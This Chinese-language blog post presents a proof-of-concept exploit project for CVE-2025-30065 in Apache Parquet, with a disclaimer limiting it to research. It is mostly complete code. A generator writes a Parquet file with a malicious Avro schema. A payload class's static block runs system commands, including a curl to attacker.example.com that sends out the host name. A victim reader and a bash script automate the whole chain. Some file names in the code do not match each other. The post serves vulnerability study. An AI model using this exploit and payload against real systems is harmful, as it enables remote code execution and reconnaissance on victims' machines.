深入解析Apache Parquet高危反序列化漏洞CVE-2025-30065

原创

qife122

发布于 2026-01-07 12:29:25

1610

Apache Parquet CVE-2025-30065 漏洞概念验证

项目标题与描述

这是一个针对Apache Parquet Java库高危反序列化漏洞CVE-2025-30065的概念验证（PoC）项目。该项目演示了如何通过精心构造的Avro模式，在Parquet文件中嵌入恶意负载，从而在目标系统读取文件时触发任意Java类的实例化。该漏洞的CVSS评分为10.0（严重）。本工具仅供授权的安全研究和教育目的使用，旨在帮助安全研究人员和开发者理解漏洞原理，并采取适当的防护措施。

⚠️ 免责声明：本工具仅用于教育研究和授权测试。严禁用于非法入侵或攻击。使用者需遵守相关法律法规。

功能特性

漏洞复现：完整复现CVE-2025-30065漏洞的利用链，从生成恶意文件到触发漏洞。
双重负载机制：
- 主利用（ParquetExploitGenerator）使用标准Java类javax.swing.JEditorPane演示逻辑利用。
- 遗留负载类（PayloadRecord）包含静态代码块，展示如何在类加载时执行系统命令（如启动计算器或发送网络请求），具体行为根据操作系统自适应。
自动化构建与执行：提供Shell脚本（CVE-2025-30065.sh），自动化处理Maven依赖解析、代码编译和PoC链的完整执行。
模块化设计：代码结构清晰，分为利用生成器（ExploitGenerator）、负载（PayloadRecord）和受害者模拟程序（ParquetVictim），便于理解和分析。
教育导向：项目附带详细的漏洞分析、风险说明、防护建议和安全清单，是学习反序列化漏洞和Parquet/Avro内部机制的优秀资源。

安装指南

系统要求

Java 8 或更高版本
Apache Maven （用于自动解析和下载项目依赖）
支持Linux、macOS或Windows（通过Shell脚本或手动命令）

安装步骤

克隆或下载项目代码到本地目录。
确保Maven已正确安装。可以在终端运行 mvn -v 来验证。
为构建脚本添加执行权限（仅限Unix/Linux/macOS系统）：chmod +x CVE-2025-30065.sh
运行自动化脚本（推荐）：./CVE-2025-30065.sh该脚本会自动执行以下操作：
- 使用Maven解析并下载所需的依赖库（如parquet-avro, parquet-hadoop, avro等）。
- 编译所有Java源文件。
- 依次运行利用生成器和受害者模拟程序。

手动编译与运行（可选）

如果希望分步执行或调试，可以参考脚本CVE-2025-30065.sh中的命令序列。

使用说明

运行自动化脚本 ./CVE-2025-30065.sh 是最简单的使用方式。脚本执行后，你将看到如下流程：

依赖解析：脚本使用Maven生成项目的类路径文件(cp.txt)。
编译负载：首先编译PayloadRecord.java。
生成恶意文件：编译并运行ParquetExploitGenerator，它将在当前目录生成一个名为exploit-jeditorpane.parquet的Parquet文件。该文件包含一个精心构造的Avro模式，其default值被设置为实例化javax.swing.JEditorPane类。
模拟受害者：编译并运行ParquetVictim，该程序会读取上一步生成的Parquet文件。在读取记录时，由于Avro反序列化逻辑，会尝试实例化模式中定义的default值，从而触发JEditorPane的实例化。如果使用原始的PayloadRecord负载，则可能执行相应的系统命令。

核心代码详解

1. 恶意Parquet文件生成器 (`ParquetExploitGenerator.java`)

这是漏洞利用的核心。它不依赖自定义类，而是利用一个已知在反序列化时会产生副作用（如发起网络请求）的标准Java类。

/**
 * @author Blackash
 * @version 1.3
 * @license For authorized security research and educational purposes only.
 *
 * Generates a Parquet file with a crafted Avro schema to demonstrate CVE-2025-30065,
 * aligned with the vulnerability logic observed in the official Apache patch.
 *
 * This version avoids using custom classes and instead leverages a standard Java class
 * (javax.swing.JEditorPane) known to exhibit side effects when deserialized.
 */
import org.apache.avro.Schema;
import org.apache.hadoop.conf.Configuration;
import org.apache.hadoop.fs.Path;
import org.apache.parquet.avro.AvroParquetWriter;
import org.apache.parquet.hadoop.ParquetWriter;
import java.io.IOException;

public class ParquetExploitGenerator {
    public static void main(String[] args) throws IOException {
        String outputFile = args.length > 0 ? args[0] : "exploit-jeditorpane.parquet";
        // 构造恶意Avro模式。关键点在于`trigger`字段的类型定义为一个名为`javax.swing.JEditorPane`的记录，
        // 并设置了`default: {}`。这会导致在反序列化时，Avro尝试实例化这个“记录”，
        // 实际上就是实例化`javax.swing.JEditorPane`类。
        String maliciousSchema = "{"
            + "\"type\": \"record\"," 
            + "\"name\": \"ExploitRecord\","
            + "\"fields\": ["
            + "  {\"name\": \"trigger\","
            + "   \"type\": {\"type\": \"record\", \"name\": \"javax.swing.JEditorPane\", \"fields\": []},"
            + "   \"default\": {}"
            + "  }"
            + "]"
            + "}";
        Schema schema = new Schema.Parser().parse(maliciousSchema);
        Path path = new Path(outputFile);
        Configuration conf = new Configuration();
        // 使用AvroParquetWriter将模式写入Parquet文件。
        try (ParquetWriter<Object> writer = AvroParquetWriter.builder(path)
                .withSchema(schema)
                .withConf(conf)
                .build()) {
            writer.write(null); // 写入一个空记录，模式本身已包含恶意定义。
        }
        System.out.println("[+] Malicious Parquet file generated: " + outputFile);
        System.out.println("[!] Schema instantiates javax.swing.JEditorPane via default value.");
    }
}

2. 可执行命令的负载类 (`PayloadRecord.java`)

这是一个传统的PoC负载，展示了如果攻击者能控制类路径，可以如何执行任意代码。其静态代码块在类被加载时即会运行。

package exploit;
import java.io.BufferedReader;
import java.io.InputStreamReader;

public class PayloadRecord {
    static { // 静态代码块，在类首次被加载到JVM时执行。
        try {
            String os = System.getProperty("os.name").toLowerCase();
            String cmd;
            // 根据操作系统选择不同的命令，实现跨平台利用。
            if (os.contains("win")) {
                cmd = "cmd.exe /c start calc"; // Windows: 启动计算器
            } else if (os.contains("mac")) {
                cmd = "/System/Applications/Calculator.app/Contents/MacOS/Calculator"; // macOS: 启动计算器
            } else {
                // Linux/Unix: 发送HTTP请求到攻击者服务器，可用于信息探测。
                cmd = "curl http://attacker.example.com/ping?host=" + 
                      java.net.InetAddress.getLocalHost().getHostName();
            }
            // 执行系统命令
            Process process = Runtime.getRuntime().exec(cmd);
            try (BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()))) {
                String line;
                while ((line = reader.readLine()) != null) {
                    System.out.println("[Payload Output] " + line);
                }
            }
        } catch (Exception e) {
            System.err.println("[Payload Error] " + e.getMessage());
            e.printStackTrace();
        }
    }
}

3. 受害者模拟程序 (`ParquetVictim.java`)

模拟一个使用了parquet-avro库的普通应用程序，它读取并解析Parquet文件，从而触发漏洞。

package victim;
import org.apache.avro.generic.GenericRecord;
import org.apache.parquet.avro.AvroParquetReader;
import org.apache.parquet.hadoop.ParquetReader;
import org.apache.hadoop.conf.Configuration;
import org.apache.hadoop.fs.Path;

public class ParquetVictim {
    public static void main(String[] args) throws Exception {
        // 读取由ExploitGenerator生成的恶意Parquet文件。
        Path path = new Path("exploit.parquet"); // 注意：此文件名需与实际生成的文件名匹配。
        ParquetReader<GenericRecord> reader = AvroParquetReader.<GenericRecord>builder(path)
            .withConf(new Configuration())
            .build();
        // 读取记录。这一行代码会触发Avro的反序列化过程。
        // 如果文件中定义的default值对应的类（如JEditorPane或PayloadRecord）在类路径上，
        // 并且反序列化逻辑允许实例化它，那么静态代码块或构造器中的代码将被执行。
        GenericRecord record = reader.read();
        System.out.println("Record loaded: " + record); // 这行日志输出时，漏洞可能已被触发。
    }
}

4. 自动化构建与执行脚本 (`CVE-2025-30065.sh`)

此Bash脚本封装了整个PoC的构建和执行流程，确保环境一致且易于运行。

#!/bin/bash
BASE_DIR=$(pwd)
BUILD_DIR="$BASE_DIR/build/classes"
CP_FILE="$BASE_DIR/cp.txt"
JAR_DEPS=""

# 检查并利用Maven解析项目依赖，生成类路径文件(cp.txt)。
if command -v mvn &> /dev/null; then
    echo "[+] Resolving dependencies with Maven..."
    mvn dependency:build-classpath -Dmdep.outputFile=cp.txt > /dev/null
    if [ ! -f "$CP_FILE" ]; then
        echo "[-] Failed to generate classpath (cp.txt)."
        exit 1
    fi
    JAR_DEPS=$(cat "$CP_FILE")
else
    echo "[-] Maven not found. Please install Maven and run again."
    exit 1
fi

# 创建编译输出目录
mkdir -p "$BUILD_DIR"

echo "[+] Compiling PayloadRecord.java..."
javac -d "$BUILD_DIR" PayloadRecord.java || exit 1

echo "[+] Compiling ParquetExploitGenerator..."
javac -cp ".:$BUILD_DIR:$JAR_DEPS" -d "$BUILD_DIR" POC-CVE-2025-30065-ParquetExploitGenerator.java || exit 1

echo "[+] Running exploit generator..."
java -cp ".:$BUILD_DIR:$JAR_DEPS" POC-CVE-2025-30065-ParquetExploitGenerator || exit 1

echo "[+] Compiling ParquetVictim.java..."
javac -cp ".:$BUILD_DIR:$JAR_DEPS" -d "$BUILD_DIR" ParquetVictim.java || exit 1

echo "[+] Running victim (payload should trigger)..."
java -cp ".:$BUILD_DIR:$JAR_DEPS" ParquetVictim

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